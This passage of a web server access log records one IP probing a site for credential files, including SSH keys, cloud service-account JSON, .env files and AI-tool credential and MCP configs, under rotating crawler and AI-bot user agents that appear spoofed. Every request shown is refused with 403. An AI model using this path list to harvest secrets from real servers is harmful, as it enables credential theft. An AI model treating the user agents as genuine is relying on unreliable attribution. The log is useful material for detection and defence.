(Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot) Chrome/118.0.8786.181 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /.azure/credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6536.28 Mobile Safari/537.36; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /.docker/config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.7369.98 Mobile Safari/537.36; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /.kube/config HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.26.120.174 - - [09/Sep/2026:22:32:54 -0700] "GET /api/settings HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.26.120.174 - - [09/Sep/2026:22:32:54 -0700] "GET /api/v1/config HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:32:54 -0700] "GET /api/v1/settings HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.11) Gecko/20100101 Firefox/121.11; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:32:54 -0700] "GET /api/env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.26.120.174 - - [09/Sep/2026:22:32:54 -0700] "GET /api/v1/env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:32:55 -0700] "GET /serviceAccountKey.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.26.120.174 - - [09/Sep/2026:22:32:55 -0700] "GET /service-account.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/148.0.8863.20 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:55 -0700] "GET /firebase-adminsdk.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.26.120.174 - - [09/Sep/2026:22:32:55 -0700] "GET /firebase-config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.26.120.174 - - [09/Sep/2026:22:32:55 -0700] "GET /firebase-credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:32:55 -0700] "GET /google-credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:32:55 -0700] "GET /gcp-credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.1213.206 Safari/537.36; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot" 34.26.120.174 - - [09/Sep/2026:22:32:55 -0700] "GET /__/firebase/init.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6483.66 Safari/537.36; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:32:55 -0700] "GET /gcp-key.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:127.3) Gecko/20100101 Firefox/127.3; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:32:55 -0700] "GET /key.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.2024.181 Safari/537.36; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.26.120.174 - - [09/Sep/2026:22:32:55 -0700] "GET /sa.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:32:57 -0700] "GET /keys/service-account.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.2519.95 Mobile Safari/537.36; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.26.120.174 - - [09/Sep/2026:22:32:57 -0700] "GET /.ssh/id_rsa HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.26.120.174 - - [09/Sep/2026:22:32:57 -0700] "GET /.ssh/id_ed25519 HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; rv:127.5) Gecko/20100101 Firefox/127.5; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:32:58 -0700] "GET /.ssh/id_ecdsa HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.5991.213 Safari/537.36; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.26.120.174 - - [09/Sep/2026:22:32:58 -0700] "GET /.ssh/config HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.26.120.174 - - [09/Sep/2026:22:32:58 -0700] "GET /.ssh/id_dsa HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5992.10 Mobile Safari/537.36; compatible; Twitterbot/1.0" 34.26.120.174 - - [09/Sep/2026:22:32:58 -0700] "GET /id_rsa HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.6495.242 Safari/537.36; compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.26.120.174 - - [09/Sep/2026:22:32:58 -0700] "GET /id_ed25519 HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1)" 34.26.120.174 - - [09/Sep/2026:22:32:59 -0700] "GET /id_ecdsa HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:32:59 -0700] "GET /id_dsa HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.26.120.174 - - [09/Sep/2026:22:32:59 -0700] "GET /key.pem HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.26.120.174 - - [09/Sep/2026:22:32:59 -0700] "GET /server.key HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com) Version/18.0 Safari/605.1.15" 34.26.120.174 - - [09/Sep/2026:22:32:59 -0700] "GET /privatekey.key HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.26.120.174 - - [09/Sep/2026:22:32:59 -0700] "GET /private-key HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/) Chrome/133.0.831.189 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:59 -0700] "GET /wp-config.php HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:33:00 -0700] "GET /wp-config.php.bak HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot) Chrome/134.0.3339.189 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /actuator/env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /config/secrets.yml HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /actuator/configprops HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /wp-config.php.old HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html) Chrome/124.0.8362.43 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /graphql HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.1952.243 Safari/537.36; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /docker-compose.yml HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /actuator/mappings HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/85.0.5817.232 Safari/537.36 Edg/85.0.5817.232" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /graphql/console HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /v1/graphql HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6008.122 Safari/537.36; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /application.yml HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler) Chrome/134.0.87.160 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /api/graphql HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /config/database.yml HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /config.php.bak HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /docker-compose.yaml HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /config.php HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:33:03 -0700] "GET /.openai/config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots)" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.anthropic/config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.hermes/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.hermes/auth.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.5524.101 Safari/537.36; compatible; TelegramBot/1.0" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.codex/config.toml HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/114.0.8472.46 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.cursor/mcp.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.openclaw/openclaw.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.hermes/config.yaml HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Version/18.3 Mobile/15E148 Safari/604.1" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.config/anthropic/credentials/default.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.12) Gecko/20100101 Firefox/78.12; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.openclaw/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.4581.17 Safari/537.36 Edg/133.0.4581.17; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.claude.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.local/share/opencode/auth.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.6438.189 Mobile Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /@fs/home/ubuntu/.local/share/opencode/auth.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.5523.2 Mobile Safari/537.36; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /@fs/root/.local/share/opencode/auth.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.claude/settings.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /.mcp.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.26.120.174 - - [09/Sep/2026:22:33:06 -0700] "GET /__env.js HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.1244.238 Safari/537.36; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.26.120.174 - - [09/Sep/2026:22:33:10 -0700] "GET /keys.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/) Chrome/148.0.5262.77 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:10 -0700] "GET /auth.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.26.120.174 - - [09/Sep/2026:22:33:10 -0700] "GET /google.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.26.120.174 - - [09/Sep/2026:22:33:10 -0700] "GET /tokens.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.26.120.174 - - [09/Sep/2026:22:33:10 -0700] "GET /gcp.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:33:10 -0700] "GET /.secrets.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot) Chrome/122.0.5874.242 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:10 -0700] "GET /.auth.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/151.0.1839.130 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:10 -0700] "GET /api_keys.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.26.120.174 - - [09/Sep/2026:22:33:11 -0700] "GET /.claude/.credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:33:11 -0700] "GET /.claude/mcp.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot) Version/16.2 Mobile/15E148 Safari/604.1" 34.26.120.174 - - [09/Sep/2026:22:33:11 -0700] "GET /claude_desktop_config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:33:11 -0700] "GET /.cursor/settings.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.2445.69 Safari/537.36; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.26.120.174 - - [09/Sep/2026:22:33:11 -0700] "GET /.cursor/config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.26.120.174 - - [09/Sep/2026:22:33:11 -0700] "GET /.vscode/mcp.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:143.4) Gecko/20100101 Firefox/143.4; compatible; TelegramBot/1.0" 34.26.120.174 - - [09/Sep/2026:22:33:11 -0700] "GET /.windsurf/mcp.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1)" 34.26.120.174 - - [09/Sep/2026:22:33:12 -0700] "GET /.codeium/settings.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /ai_config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot) Chrome/122.0.1630.101 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /admin HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com)" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /mcp.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4069.206 Safari/537.36; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /llm.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /.env.js HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.2570.100 Mobile Safari/537.36; compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /llm_config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /mcp_config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.200.157 Safari/537.36 Edg/128.0.200.157; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /api/aws.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.4343.143 Safari/537.36; compatible; TelegramBot/1.0" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /.codeium/windsurf/mcp_config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /awsConfig.js HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /ai.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.2607.138 Safari/537.36 Edg/151.0.2607.138; compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /assets/env.js HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot) Chrome/148.0.3541.212 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /.vite/manifest.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.8677.186 Mobile Safari/537.36; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /sw.js HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/109.0.6413.53 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /health HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:133.8) Gecko/20100101 Firefox/133.8; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:33:14 -0700] "GET /login HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.26.120.174 - - [09/Sep/2026:22:33:19 -0700] "GET /metrics HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot" 34.26.120.174 - - [09/Sep/2026:22:33:19 -0700] "GET /.well-known/jwks.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/) Chrome/122.0.7855.223 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:19 -0700] "GET /Dockerfile HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)" 34.26.120.174 - - [09/Sep/2026:22:33:19 -0700] "GET /.htpasswd HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler) Chrome/126.0.1797.144 Safari/537.36 Edg/126.0.1797.144" 34.26.120.174 - - [09/Sep/2026:22:33:19 -0700] "GET /i.php HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:132.4) Gecko/20100101 Firefox/132.4; compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.26.120.174 - - [09/Sep/2026:22:33:19 -0700] "GET /pi.php HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0)" 34.26.120.174 - - [09/Sep/2026:22:33:19 -0700] "GET /gc-service.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.26.120.174 - - [09/Sep/2026:22:33:19 